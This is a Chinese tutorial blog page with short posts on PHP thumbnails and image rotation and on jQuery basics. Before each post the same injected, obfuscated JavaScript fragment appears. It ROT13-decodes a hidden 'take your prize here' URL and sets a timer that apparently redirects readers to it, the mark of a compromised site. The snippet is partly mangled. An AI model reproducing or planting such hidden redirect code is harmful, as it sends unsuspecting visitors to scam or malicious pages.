php图像处理-3-缩略图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
如果所有图片都加载原图的话是很慢的,php提供了两个函数来进行压缩处理,

功能:拷贝原图并调整大小

imagecopyresized():图片会失真和模糊,一般不使用
imagecopyresampled():一般使用这个函数,从采样拷贝图像并调整大小

这样就得到了一个大小比原图小一半的图像

PHP图像处理-2-旋转

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
之前介绍的是从现有已经存在的图片中创建一个图像资源,那么如何用PHP去创建一个新的图像呢?

两个函数,功能类似于创建一个画布:

imagecreate():基于调色板的图像
imagecreatetruecolor():创建一个真实色彩的图像,日常应用的时候建议使用第二种,因为色彩多参数是宽度和高度。

note:也有createjpg, createpnw,因此可以使用switch语句来设置content-type以及输出我们需要的图像,这才是我们正确的输出方式。
旋转图像

note:

imagerotate图像旋转
传入第一个参数是图像资源
第二个参数是旋转的度数
第三个参数是旋转之后留出来的位置的背景色需要我们进行设置。

jQuery-1-选择的艺术

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
什么是jQuery?
一个小巧的js库,可以帮助开发者更加快速的开发网页、应用包含了90%的功能,排名在前一万的网站中有81.2%的网站使用了jQuery,它减少了重复造轮子的任务,甚至可以说很多的前端思考页面是jQuery的思维,其实成为了试试上的标准。

优点:

方便的处理HTML、事件、动画等等
HTML:处理HTML的DOM节点
事件:对页面上的事件进行处理
动画:实现淡入、淡出、滑动等动画
可以兼容很多的浏览器,不用太考虑浏览器的兼容性问题

jQuery的基本概念
设计理念:用少量的代码做更多的事情。

思维方式:结构(html)、表现(css)和行为(js)分离 -> 这样可以方便维护。

window.jQuery === window.$
jQuery.each()  -> $.each()
$(domObj) -> DOM obj返回一个jQuery对象(原生DOM对象的封装)

链式语法:写起来简单,性能也更好。能实现的原因是在执行了方法之后会将整个jQuery对象返回回来,因此整个返回值就可以直接继续调用接下来的方法。

使用链式语法要注意某些jquery方法比如find、filter是具有破坏性的。对于破坏性可以通过链上.end()的方法把匹配恢复到上一次的状态。
有几个方法不返回jquery对象,会导致控制台报错。
$(document).ready(function(){})这个方法比onload好因为不用等所有的全部加载好,而是DOM加载好就执行jquery的代码,而不用取等待图片之类的加载好,这样速度就会快很多,用户体验更好。